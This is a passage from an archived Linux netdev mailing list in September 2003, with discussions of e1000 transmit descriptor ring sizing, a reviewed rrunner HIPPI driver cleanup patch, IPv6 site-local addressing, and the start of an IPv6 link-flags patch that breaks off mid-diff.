(v1.0.0; list netdev); Fri, 12 Sep 2003 11:32:33 -0700 (PDT) Received: from e6.ny.us.ibm.com (e6.ny.us.ibm.com [32.97.182.106]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CIWUYa013684 for ; Fri, 12 Sep 2003 11:32:31 -0700 Received: from northrelay04.pok.ibm.com (northrelay04.pok.ibm.com [9.56.224.206]) by e6.ny.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8CIVrWq510632; Fri, 12 Sep 2003 14:31:53 -0400 Received: from d01ml063.pok.ibm.com (d01av02.pok.ibm.com [9.56.224.216]) by northrelay04.pok.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8CIVoQL219964; Fri, 12 Sep 2003 14:31:51 -0400 In-Reply-To: <3F620C90.5090903@candelatech.com> Importance: Normal Sensitivity: Subject: Re: [e1000 2.6 10/11] TxDescriptors -> 1024 default To: Ben Greear Cc: hadi@cyberus.ca, "Feldman, Scott" , Jeff Garzik , netdev@oss.sgi.com X-Mailer: Lotus Notes Release 6.0.2CF1 June 9, 2003 Message-ID: From: Ricardo C Gonzalez Date: Fri, 12 Sep 2003 13:31:49 -0500 X-MIMETrack: Serialize by Router on D01ML063/01/M/IBM(Release 6.0.2CF2 JHEG5P4HSL JBONL5L8FGD MIAS5MHLYW|August 26, 2003) at 09/12/2003 14:31:51 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII X-archive-position: 5864 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: ricardoz@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 822 Lines: 30 Ben Greear worte: >I have seen greater packets-per-second throughput when I increase the TxDescriptor >ring (and RxDescriptor ring) when using pktgen, which checks for enqueue errors >and re-queues as needed. So, it could help the case where we are running >at very high sustained speeds (or high packets-per-second rates). This is exactly the type of test I run(TCP_STREAM tests at very high sustained speeds). And I saw very good performance improvement when increasing the TxDescriptors to at least 1024. I run a network benchmark in this case the data I gathered was on 4 way, 1.45 Ghz systems, running the benchmark on only one adapter per machine, point-to-point. regards, ---------------------------------------------------------------------------------- *** ALWAYS THINK POSITIVE *** Rick Gonzalez From scott.feldman@intel.com Fri Sep 12 11:40:55 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 11:40:58 -0700 (PDT) Received: from hermes.py.intel.com (hermes.py.intel.com [146.152.216.3]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CIesYa014218 for ; Fri, 12 Sep 2003 11:40:55 -0700 Received: from petasus.py.intel.com (petasus.py.intel.com [146.152.221.4]) by hermes.py.intel.com (8.11.6p2/8.11.6/d: outer.mc,v 1.83 2003/09/05 14:45:27 rfjohns1 Exp $) with ESMTP id h8CIa3j17225 for ; Fri, 12 Sep 2003 18:36:04 GMT Received: from orsmsxvs040.jf.intel.com (orsmsxvs040.jf.intel.com [192.168.65.206]) by petasus.py.intel.com (8.11.6p2/8.11.6/d: inner.mc,v 1.35 2003/05/22 21:18:01 rfjohns1 Exp $) with SMTP id h8CIeUi21983 for ; Fri, 12 Sep 2003 18:40:30 GMT Received: from orsmsx332.amr.corp.intel.com ([192.168.65.60]) by orsmsxvs040.jf.intel.com (NAVGW 2.5.2.11) with SMTP id M2003091211404713846 ; Fri, 12 Sep 2003 11:40:47 -0700 Received: from orsmsx402.amr.corp.intel.com ([192.168.65.208]) by orsmsx332.amr.corp.intel.com with Microsoft SMTPSVC(5.0.2195.5329); Fri, 12 Sep 2003 11:40:47 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" X-MimeOLE: Produced By Microsoft Exchange V6.0.6375.0 Subject: RE: [PATCH 2.6] pci.ids for e1000 Date: Fri, 12 Sep 2003 11:40:47 -0700 Message-ID: X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [PATCH 2.6] pci.ids for e1000 Thread-Index: AcN5SDYykvieCZZ3RkmB7qLWal74xgAE2Sqw From: "Feldman, Scott" To: "Jeff Garzik" Cc: X-OriginalArrivalTime: 12 Sep 2003 18:40:47.0485 (UTC) FILETIME=[61B7A2D0:01C3795D] Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8CIesYa014218 X-archive-position: 5865 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: scott.feldman@intel.com Precedence: bulk X-list: netdev Content-Length: 847 Lines: 21 > How motivated are you? ;-) > > The general idea is to keep 2.4, 2.6, and pciids.sf.net in sync. > > Could you be talked into comparing 2.4, 2.6, and pciids.sf.net, and > creating patches for 2.4 and 2.6 that add missing ids? ;-) Martin > Mares (pciids.sf.net maintainer) did a big sync-up less than > 12 months > ago, so the job shouldn't be as big as it sounds. > > If not, no big deal. Just say "no" and I'll apply the patch below, > instead of waiting for the larger patches... Now that I've dug into this a little more, go ahead and drop my patch for e1000 IDs. Bypassing the flow from pciids.sf.net is just going to cause more problems. Pciids.sf.net has been updated with these IDs, so it's just a matter of getting them approved and having Martin push out a sync for 2.4 and 2.6. I'll add my request to Martin... -scott From becker@scyld.com Fri Sep 12 14:28:57 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 14:29:08 -0700 (PDT) Received: from NewBlue.Scyld.com ([64.237.107.19]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CLSuYa030293 for ; Fri, 12 Sep 2003 14:28:56 -0700 Received: from beotest.scyld.com (bgp01547469bgs.anapol01.md.comcast.net [68.49.8.112]) by NewBlue.Scyld.com (8.10.2/8.10.2) with ESMTP id h8CFMwd22715; Fri, 12 Sep 2003 11:22:58 -0400 Received: from localhost (becker@localhost) by beotest.scyld.com (8.11.6/8.11.6) with ESMTP id h8CFT0W02872; Fri, 12 Sep 2003 11:29:01 -0400 Date: Fri, 12 Sep 2003 11:29:00 -0400 (EDT) From: Donald Becker To: jamal cc: "Feldman, Scott" , Jeff Garzik , , Subject: RE: [e1000 2.6 10/11] TxDescriptors -> 1024 default In-Reply-To: <1063370664.1028.85.camel@jzny.localdomain> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5866 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: becker@scyld.com Precedence: bulk X-list: netdev Content-Length: 3398 Lines: 75 On 12 Sep 2003, jamal wrote: > On Fri, 2003-09-12 at 01:13, Feldman, Scott wrote: > > > Feldman, Scott wrote: > > > > * Change the default number of Tx descriptors from 256 to 1024. > > > > Data from [ricardoz@us.ibm.com] shows it's easy to overrun > > > > the Tx desc queue. > > > > > > You're just wasting memory. > > > > 256 descriptors does sound like enough, but what about the fragmented > > skb case? MAX_SKB_FRAGS is (64K/4K + 2) = 18, and each fragment gets > > mapped to one descriptor. .. > Ok, i overlooked the frags part. > Donald Becker is the man behind setting the # of descriptors to either > 32 or 64 for 10/100. I think i saw some email from him once on how he > reached the conclusion to choose those numbers. The number varies between 10 and 16 skbuffs for 100Mbps, with a typical Tx descriptor ring of 16 elements. I spent much time instrumenting and measuring the behavior of the drivers. I found that with 100Mbps, between four and seven Tx skbuffs were sufficient to keep the hardware Tx queue from emptying while there were still packets in the software Tx queue. Adding more neither avoided gaps nor obviously improved the overall cache miss count. With early Gb cards, Yellowfins, the numbers didn't increase nearly as much as I expected. I concluded: - At the time we were CPU limited generating tinygrams, thus the queue connection performance only mattered for full sized packets. - Increasing the link speed does not increase the tinygram series length A series of tinygram are worst-case for the queue connection, since the hardware can dispatch them almost as quickly as the queue fills. But we don't get more tinygrams in a row with a faster link. I could write extensively about the other parameters and designs that I (mostly) confirmed and (occasionally) discoved. They would be easy to attack as being based on old hardware, but I believe that relative numbers have changed little. And I haven't seen any well-considered analysis that would indicate 1000 driver queue entries is significantly better than 20 in general purpose use. > Note, this was before zero copy tx and skb frags. [[ Grumble about mbufs and designing for a PDP omitted. ]] Most users will see unfragmented skbuffs. Even with fragmented skbuffs, you should average fewer than 2 frags per skbuff. With 9KB jumbo frames that might increase slightly. Has anyone measured more? Or measured at all? Remember the purpose of the driver (hardware) Tx queue. It should be the minimum size consistent with Keeping the wire busy(1) when we have queued packets Cache locality(2) when queueing Tx packets Allowing interrupt mitigation It is *not* supposed to act as an additional buffer in the system. Unlike the queue layer, it cannot be changed dynamically, classify packets, re-order based on priority or do any of the future clever improvements possible with the general-purpose, device-independent software queue. (1) A short gap with atypical traffic is entirely acceptable (2) Cache locality isn't important because we need local performance. It's important to minimize cache line displacement for the rest of the system, especially the application. -- Donald Becker becker@scyld.com Scyld Computing Corporation http://www.scyld.com 914 Bay Ridge Road, Suite 220 Scyld Beowulf cluster system Annapolis MD 21403 410-990-9993 From shemminger@osdl.org Fri Sep 12 14:42:53 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 14:43:00 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CLgrYa031075 for ; Fri, 12 Sep 2003 14:42:53 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8CLgQo31548; Fri, 12 Sep 2003 14:42:26 -0700 Date: Fri, 12 Sep 2003 14:42:08 -0700 From: Stephen Hemminger To: Jeff Garzik , Jes Sorensen Cc: netdev@oss.sgi.com Subject: [PATCH] Road Runner HIPPI driver (rrunner) Message-Id: <20030912144208.2886e2b9.shemminger@osdl.org> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5867 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 3802 Lines: 138 Update rrunner driver: - name entry in data structure was set but only used one place. - get rid of MOD_INC/DEC - mark remove routine as devexit - don't dereference Null if remove_one doesn't find device --- linux-2.5/drivers/net/rrunner.c 2003-08-20 11:19:42.000000000 -0700 +++ linux-2.5-net/drivers/net/rrunner.c 2003-09-12 14:37:50.926420785 -0700 @@ -124,7 +124,6 @@ static int __devinit rr_init_one(struct rrpriv->pci_dev = pdev; spin_lock_init(&rrpriv->lock); - sprintf(rrpriv->name, "RoadRunner serial HIPPI"); dev->irq = pdev->irq; dev->open = &rr_open; @@ -209,9 +208,9 @@ static int __devinit rr_init_one(struct dev->base_addr = 0; - ret = register_netdev(dev); - if (ret) + if (register_netdev(dev)) goto out; + return 0; out: @@ -228,36 +227,41 @@ static int __devinit rr_init_one(struct pci_set_drvdata(pdev, NULL); } out2: - kfree(dev); + free_netdev(dev); out3: return ret; } static void __devexit rr_remove_one (struct pci_dev *pdev) { - struct net_device *dev = pci_get_drvdata(pdev); - struct rr_private *rr = (struct rr_private *)dev->priv; + struct net_device *dev; + struct rr_private *rr; - if (dev) { - if (!(readl(&rr->regs->HostCtrl) & NIC_HALTED)){ - printk(KERN_ERR "%s: trying to unload running NIC\n", - dev->name); - writel(HALT_NIC, &rr->regs->HostCtrl); - } - - pci_free_consistent(pdev, EVT_RING_SIZE, rr->evt_ring, - rr->evt_ring_dma); - pci_free_consistent(pdev, RX_TOTAL_SIZE, rr->rx_ring, - rr->rx_ring_dma); - pci_free_consistent(pdev, TX_TOTAL_SIZE, rr->tx_ring, - rr->tx_ring_dma); - unregister_netdev(dev); - iounmap(rr->regs); - free_netdev(dev); - pci_release_regions(pdev); - pci_disable_device(pdev); - pci_set_drvdata(pdev, NULL); + if (!(dev = pci_get_drvdata(pdev))) + return; + rr = (struct rr_private *)dev->priv; + + if (!(readl(&rr->regs->HostCtrl) & NIC_HALTED)){ + printk(KERN_ERR "%s: trying to unload running NIC\n", + dev->name); + writel(HALT_NIC, &rr->regs->HostCtrl); } + + unregister_netdev(dev); + + pci_free_consistent(pdev, EVT_RING_SIZE, rr->evt_ring, + rr->evt_ring_dma); + pci_free_consistent(pdev, RX_TOTAL_SIZE, rr->rx_ring, + rr->rx_ring_dma); + pci_free_consistent(pdev, TX_TOTAL_SIZE, rr->tx_ring, + rr->tx_ring_dma); + iounmap(rr->regs); + + free_netdev(dev); + + pci_release_regions(pdev); + pci_disable_device(pdev); + pci_set_drvdata(pdev, NULL); } @@ -1201,8 +1205,8 @@ static int rr_open(struct net_device *de readl(®s->HostCtrl); spin_unlock_irqrestore(&rrpriv->lock, flags); - if (request_irq(dev->irq, rr_interrupt, SA_SHIRQ, rrpriv->name, dev)) - { + if (request_irq(dev->irq, rr_interrupt, SA_SHIRQ, + "RoadRunner serial HIPPI", dev)) { printk(KERN_WARNING "%s: Requested IRQ %d is busy\n", dev->name, dev->irq); ecode = -EAGAIN; @@ -1222,7 +1226,6 @@ static int rr_open(struct net_device *de netif_start_queue(dev); - MOD_INC_USE_COUNT; return ecode; error: @@ -1414,7 +1417,6 @@ static int rr_close(struct net_device *d free_irq(dev->irq, dev); spin_unlock_irqrestore(&rrpriv->lock, flags); - MOD_DEC_USE_COUNT; return 0; } @@ -1727,7 +1729,7 @@ static struct pci_driver rr_driver = { .name = "rrunner", .id_table = rr_pci_tbl, .probe = rr_init_one, - .remove = rr_remove_one, + .remove = __devexit_p(rr_remove_one), }; static int __init rr_init_module(void) --- linux-2.5/drivers/net/rrunner.h 2003-06-16 20:47:08.000000000 -0700 +++ linux-2.5-net/drivers/net/rrunner.h 2003-09-12 14:40:51.741209899 -0700 @@ -820,7 +820,6 @@ struct rr_private u32 tx_full; u32 fw_rev; volatile short fw_running; - char name[24]; /* The assigned name */ struct net_device_stats stats; struct pci_dev *pci_dev; }; From jgarzik@pobox.com Fri Sep 12 15:07:12 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 15:07:18 -0700 (PDT) Received: from www.linux.org.uk (IDENT:93@parcelfarce.linux.theplanet.co.uk [195.92.249.252]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CM7BYa000341 for ; Fri, 12 Sep 2003 15:07:12 -0700 Received: from rdu74-153-143.nc.rr.com ([24.74.153.143]:40360 helo=pobox.com) by www.linux.org.uk with esmtp (Exim 4.22) id 19xw4I-0005xc-5y; Fri, 12 Sep 2003 23:07:06 +0100 Message-ID: <3F62437F.9080202@pobox.com> Date: Fri, 12 Sep 2003 18:06:55 -0400 From: Jeff Garzik Organization: none User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.2.1) Gecko/20021213 Debian/1.2.1-2.bunk X-Accept-Language: en MIME-Version: 1.0 To: Stephen Hemminger CC: Jes Sorensen , netdev@oss.sgi.com Subject: Re: [PATCH] Road Runner HIPPI driver (rrunner) References: <20030912144208.2886e2b9.shemminger@osdl.org> In-Reply-To: <20030912144208.2886e2b9.shemminger@osdl.org> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-archive-position: 5868 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: jgarzik@pobox.com Precedence: bulk X-list: netdev Content-Length: 1966 Lines: 70 Stephen Hemminger wrote: > @@ -209,9 +208,9 @@ static int __devinit rr_init_one(struct > > dev->base_addr = 0; > > - ret = register_netdev(dev); > - if (ret) > + if (register_netdev(dev)) > goto out; > + > return 0; > > out: We lose the register_netdev() return value, whereas the driver got it right before. > static void __devexit rr_remove_one (struct pci_dev *pdev) > { > - struct net_device *dev = pci_get_drvdata(pdev); > - struct rr_private *rr = (struct rr_private *)dev->priv; > + struct net_device *dev; > + struct rr_private *rr; > > - if (dev) { > - if (!(readl(&rr->regs->HostCtrl) & NIC_HALTED)){ > - printk(KERN_ERR "%s: trying to unload running NIC\n", > - dev->name); > - writel(HALT_NIC, &rr->regs->HostCtrl); > - } > - > - pci_free_consistent(pdev, EVT_RING_SIZE, rr->evt_ring, > - rr->evt_ring_dma); > - pci_free_consistent(pdev, RX_TOTAL_SIZE, rr->rx_ring, > - rr->rx_ring_dma); > - pci_free_consistent(pdev, TX_TOTAL_SIZE, rr->tx_ring, > - rr->tx_ring_dma); > - unregister_netdev(dev); > - iounmap(rr->regs); > - free_netdev(dev); > - pci_release_regions(pdev); > - pci_disable_device(pdev); > - pci_set_drvdata(pdev, NULL); > + if (!(dev = pci_get_drvdata(pdev))) > + return; this is a fairly ugly construct. It looks better as the driver had it, as an initializer. Don't combine C statements when you don't need to. > @@ -1201,8 +1205,8 @@ static int rr_open(struct net_device *de > readl(®s->HostCtrl); > spin_unlock_irqrestore(&rrpriv->lock, flags); > > - if (request_irq(dev->irq, rr_interrupt, SA_SHIRQ, rrpriv->name, dev)) > - { > + if (request_irq(dev->irq, rr_interrupt, SA_SHIRQ, > + "RoadRunner serial HIPPI", dev)) { > printk(KERN_WARNING "%s: Requested IRQ %d is busy\n", > dev->name, dev->irq); > ecode = -EAGAIN; If Jes doesn't mind, I would prefer that we pass in the interface name (dev->name I assume?) here. Jeff From dwmw2@infradead.org Fri Sep 12 15:14:28 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 15:14:34 -0700 (PDT) Received: from anchor-post-30.mail.demon.net (anchor-post-30.mail.demon.net [194.217.242.88]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CMEQYa000937 for ; Fri, 12 Sep 2003 15:14:27 -0700 Received: from imladris.demon.co.uk ([193.237.130.41]) by anchor-post-30.mail.demon.net with esmtp (Exim 3.35 #1) id 19xwBN-000HLc-0U for netdev@oss.sgi.com; Fri, 12 Sep 2003 23:14:25 +0100 Received: from localhost.localdomain ([127.0.0.1] helo=localhost) by imladris.demon.co.uk with esmtp (Exim 4.22) id 19xw1d-0000Rr-Ij; Fri, 12 Sep 2003 23:04:21 +0100 Subject: Re: IPv6 6to4 on site-local networks. From: David Woodhouse To: Pekka Savola Cc: netdev@oss.sgi.com In-Reply-To: References: Content-Type: text/plain; charset=UTF-8 Message-Id: <1063404261.7869.446.camel@imladris.demon.co.uk> Mime-Version: 1.0 X-Mailer: Ximian Evolution 1.4.4 (1.4.4-5.dwmw2.1) Date: Fri, 12 Sep 2003 23:04:21 +0100 X-SA-Exim-Mail-From: dwmw2@infradead.org X-SA-Exim-Scanned: No; SAEximRunCond expanded to false Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id h8CMEQYa000937 X-archive-position: 5869 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: dwmw2@infradead.org Precedence: bulk X-list: netdev Content-Length: 3168 Lines: 81 On Fri, 2003-09-12 at 21:00 +0300, Pekka Savola wrote: > > But RFC1918 is what makes intranets work. > > .. in a broken manner. Except site-local addressing in IPv6 actually fixed the major breakage :) > We already have IPv4. If you want to deploy IPv6, > do it properly. IPv6 is about global addressing. > > The bottom line is: it's just so much better idea to use global addresses > and filtering. Two separate global addresses -- one for the 'internal' communication, one for external communication without the routes sucking. And a half-baked 'most of the time it'll pick the right source address, hopefully' approach. As opposed to a site address for intra-site communication and a global address for global communication. > > And the proposal you pointed > > me at puts them _back_ again, just gratuitously globally unique, and > > without the semantics which actually made them _more_ useful than > > RFC1918; made them ideal for multi-homing with both site- and global- > > scope addresses. > > Also, such semantics ("site-locals always preferred") caused a number of > problems. As does their absence. The whole of this thread has been an attempt to devise a workaround for the breakage caused by their absence. > There is a problem especially with multi-party applications, which do > referrals. Consider theree nodes A, B, and C. A and B are in the same > site and have both globals and site-locals. C has only globals. By the > "site-local smallest scope rule", A and B talk using site-locals. > However, if B tells C to contact A, he gives C a site-local address of A, > instead of the global. And C can't handle it. Don't Do That Then. Seriously; this is a known problem already and it's trivially avoidable. Don't send a site-local address to a machine you're talking to using globals. With explicit knowledge of scope, applications can _do_ that. Whereas in the vile 'hosts have both HQ-derived addresses for internal communication and addresses derived from their local IPv6 uplink for global communication' scenario, the application has _no_ chance of picking the right address. > If you're interested to go a bit deeper to the reasoning, you may be > interested to read > http://www.ietf.org/internet-drafts/draft-wasserman-ipv6-sl-impact-02.txt At first glance, it seems that a lot of the problems go away if you don't allow 'multi-sited' nodes, and more go away when you realise they're already known and easily-avoided pitfalls of RFC1918 -- for example, don't introduce gratuitous ambiguity by playing stupid schizodns tricks as described in §3.3; use a sane domain like 'company.internal' for site-local addresses. I need to read it more carefully, but to be honest it doesn't really seem to justify the complete abolition of site-scope. I suspect we're getting off-topic here though. I suspect my implementation plan is going to revert to using site-local addressing, since it's trivial and does precisely what I want. I'll just have to trust that whatever the replacement is, it also solves the address-selection issues which site-local scope solves _perfectly_ for internal networks. -- dwmw2 From shemminger@osdl.org Fri Sep 12 15:25:35 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 15:25:38 -0700 (PDT) Received: from mail.osdl.org (fw.osdl.org [65.172.181.6]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CMPYYa001533 for ; Fri, 12 Sep 2003 15:25:35 -0700 Received: from dell_ss3.pdx.osdl.net (dell_ss3.pdx.osdl.net [172.20.1.60]) by mail.osdl.org (8.11.6/8.11.6) with SMTP id h8CMPOo09438; Fri, 12 Sep 2003 15:25:24 -0700 Date: Fri, 12 Sep 2003 15:25:06 -0700 From: Stephen Hemminger To: Jeff Garzik Cc: Jes Sorensen , netdev@oss.sgi.com Subject: Re: [PATCH] Road Runner HIPPI driver (rrunner) Message-Id: <20030912152506.693fe997.shemminger@osdl.org> In-Reply-To: <3F62437F.9080202@pobox.com> References: <20030912144208.2886e2b9.shemminger@osdl.org> <3F62437F.9080202@pobox.com> Organization: Open Source Development Lab X-Mailer: Sylpheed version 0.9.4claws (GTK+ 1.2.10; i686-pc-linux-gnu) X-Face: &@E+xe?c%:&e4D{>f1O<&U>2qwRREG5!}7R4;D<"NO^UI2mJ[eEOA2*3>(`Th.yP,VDPo9$ /`~cw![cmj~~jWe?AHY7D1S+\}5brN0k*NE?pPh_'_d>6;XGG[\KDRViCfumZT3@[ Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit X-archive-position: 5870 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: shemminger@osdl.org Precedence: bulk X-list: netdev Content-Length: 2301 Lines: 78 Okay, how about this.. --- linux-2.5/drivers/net/rrunner.c 2003-08-20 11:19:42.000000000 -0700 +++ linux-2.5-net/drivers/net/rrunner.c 2003-09-12 15:22:32.714314883 -0700 @@ -124,7 +124,6 @@ static int __devinit rr_init_one(struct rrpriv->pci_dev = pdev; spin_lock_init(&rrpriv->lock); - sprintf(rrpriv->name, "RoadRunner serial HIPPI"); dev->irq = pdev->irq; dev->open = &rr_open; @@ -228,7 +227,7 @@ static int __devinit rr_init_one(struct pci_set_drvdata(pdev, NULL); } out2: - kfree(dev); + free_netdev(dev); out3: return ret; } @@ -236,9 +235,10 @@ static int __devinit rr_init_one(struct static void __devexit rr_remove_one (struct pci_dev *pdev) { struct net_device *dev = pci_get_drvdata(pdev); - struct rr_private *rr = (struct rr_private *)dev->priv; if (dev) { + struct rr_private *rr = dev->priv; + if (!(readl(&rr->regs->HostCtrl) & NIC_HALTED)){ printk(KERN_ERR "%s: trying to unload running NIC\n", dev->name); @@ -1201,8 +1201,7 @@ static int rr_open(struct net_device *de readl(®s->HostCtrl); spin_unlock_irqrestore(&rrpriv->lock, flags); - if (request_irq(dev->irq, rr_interrupt, SA_SHIRQ, rrpriv->name, dev)) - { + if (request_irq(dev->irq, rr_interrupt, SA_SHIRQ, dev->name, dev)) { printk(KERN_WARNING "%s: Requested IRQ %d is busy\n", dev->name, dev->irq); ecode = -EAGAIN; @@ -1222,7 +1221,6 @@ static int rr_open(struct net_device *de netif_start_queue(dev); - MOD_INC_USE_COUNT; return ecode; error: @@ -1414,7 +1412,6 @@ static int rr_close(struct net_device *d free_irq(dev->irq, dev); spin_unlock_irqrestore(&rrpriv->lock, flags); - MOD_DEC_USE_COUNT; return 0; } @@ -1727,7 +1724,7 @@ static struct pci_driver rr_driver = { .name = "rrunner", .id_table = rr_pci_tbl, .probe = rr_init_one, - .remove = rr_remove_one, + .remove = __devexit_p(rr_remove_one), }; static int __init rr_init_module(void) --- linux-2.5/drivers/net/rrunner.h 2003-06-16 20:47:08.000000000 -0700 +++ linux-2.5-net/drivers/net/rrunner.h 2003-09-12 14:40:51.000000000 -0700 @@ -820,7 +820,6 @@ struct rr_private u32 tx_full; u32 fw_rev; volatile short fw_running; - char name[24]; /* The assigned name */ struct net_device_stats stats; struct pci_dev *pci_dev; }; From krkumar@us.ibm.com Fri Sep 12 15:41:13 2003 Received: with ECARTIS (v1.0.0; list netdev); Fri, 12 Sep 2003 15:41:18 -0700 (PDT) Received: from e31.co.us.ibm.com (e31.co.us.ibm.com [32.97.110.129]) by oss.sgi.com (8.12.9/8.12.5) with SMTP id h8CMf5Ya006654 for ; Fri, 12 Sep 2003 15:41:12 -0700 Received: from westrelay04.boulder.ibm.com (westrelay04.boulder.ibm.com [9.17.193.32]) by e31.co.us.ibm.com (8.12.9/8.12.2) with ESMTP id h8CMeIrC502288; Fri, 12 Sep 2003 18:40:18 -0400 Received: from linux-udp12928098uds.beaverton.ibm.com (d03av02.boulder.ibm.com [9.17.193.82]) by westrelay04.boulder.ibm.com (8.12.9/NCO/VER6.6) with ESMTP id h8CMeGje094156; Fri, 12 Sep 2003 16:40:16 -0600 Date: Fri, 12 Sep 2003 15:36:50 -0700 (PDT) From: Krishna Kumar X-X-Sender: krkumar@linux-udp12861866uds To: "David S. Miller" cc: kuznet@ms2.inr.ac.ru, , , KK Subject: Re: O/M flags against 2.6.0-test1 In-Reply-To: <20030911192507.0b3f2633.davem@redhat.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-archive-position: 5871 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: krkumar@us.ibm.com Precedence: bulk X-list: netdev Content-Length: 8347 Lines: 280 > Yes, rebuild the patch against current 2.6.x Patch against 2.6.0-test5 follows. Thanks, - KK diff -ruN linux-2.6.0-test5.org/include/linux/ipv6.h linux-2.6.0-test5/include/linux/ipv6.h --- linux-2.6.0-test5.org/include/linux/ipv6.h 2003-09-08 12:50:17.000000000 -0700 +++ linux-2.6.0-test5/include/linux/ipv6.h 2003-09-12 12:33:14.000000000 -0700 @@ -122,6 +122,52 @@ struct in6_addr daddr; }; +/* + * This structure contains configuration options per IPv6 link. + */ +struct ipv6_devconf { + __s32 forwarding; + __s32 hop_limit; + __s32 mtu6; + __s32 accept_ra; + __s32 accept_redirects; + __s32 autoconf; + __s32 dad_transmits; + __s32 rtr_solicits; + __s32 rtr_solicit_interval; + __s32 rtr_solicit_delay; +#ifdef CONFIG_IPV6_PRIVACY + __s32 use_tempaddr; + __s32 temp_valid_lft; + __s32 temp_prefered_lft; + __s32 regen_max_retry; + __s32 max_desync_factor; +#endif + void *sysctl; +}; + +/* index values for the variables in ipv6_devconf */ +enum { + DEVCONF_FORWARDING = 0, + DEVCONF_HOPLIMIT, + DEVCONF_MTU6, + DEVCONF_ACCEPT_RA, + DEVCONF_ACCEPT_REDIRECTS, + DEVCONF_AUTOCONF, + DEVCONF_DAD_TRANSMITS, + DEVCONF_RTR_SOLICITS, + DEVCONF_RTR_SOLICIT_INTERVAL, + DEVCONF_RTR_SOLICIT_DELAY, +#ifdef CONFIG_IPV6_PRIVACY + DEVCONF_USE_TEMPADDR, + DEVCONF_TEMP_VALID_LFT, + DEVCONF_TEMP_PREFERED_LFT, + DEVCONF_REGEN_MAX_RETRY, + DEVCONF_MAX_DESYNC_FACTOR, +#endif + DEVCONF_MAX +}; + #ifdef __KERNEL__ #include /* struct sockaddr_in6 */ #include diff -ruN linux-2.6.0-test5.org/include/linux/rtnetlink.h linux-2.6.0-test5/include/linux/rtnetlink.h --- linux-2.6.0-test5.org/include/linux/rtnetlink.h 2003-09-08 12:50:21.000000000 -0700 +++ linux-2.6.0-test5/include/linux/rtnetlink.h 2003-09-12 12:33:14.000000000 -0700 @@ -508,10 +508,12 @@ #define IFLA_MASTER IFLA_MASTER IFLA_WIRELESS, /* Wireless Extension event - see wireless.h */ #define IFLA_WIRELESS IFLA_WIRELESS + IFLA_PROTINFO, /* Protocol specific information for a link */ +#define IFLA_PROTINFO IFLA_PROTINFO }; -#define IFLA_MAX IFLA_WIRELESS +#define IFLA_MAX IFLA_PROTINFO #define IFLA_RTA(r) ((struct rtattr*)(((char*)(r)) + NLMSG_ALIGN(sizeof(struct ifinfomsg)))) #define IFLA_PAYLOAD(n) NLMSG_PAYLOAD(n,sizeof(struct ifinfomsg)) @@ -545,6 +547,18 @@ for IPIP tunnels, when route to endpoint is allowed to change) */ +/* Subtype attributes for IFLA_PROTINFO */ +enum +{ + IFLA_INET6_UNSPEC, + IFLA_INET6_FLAGS, /* link flags */ + 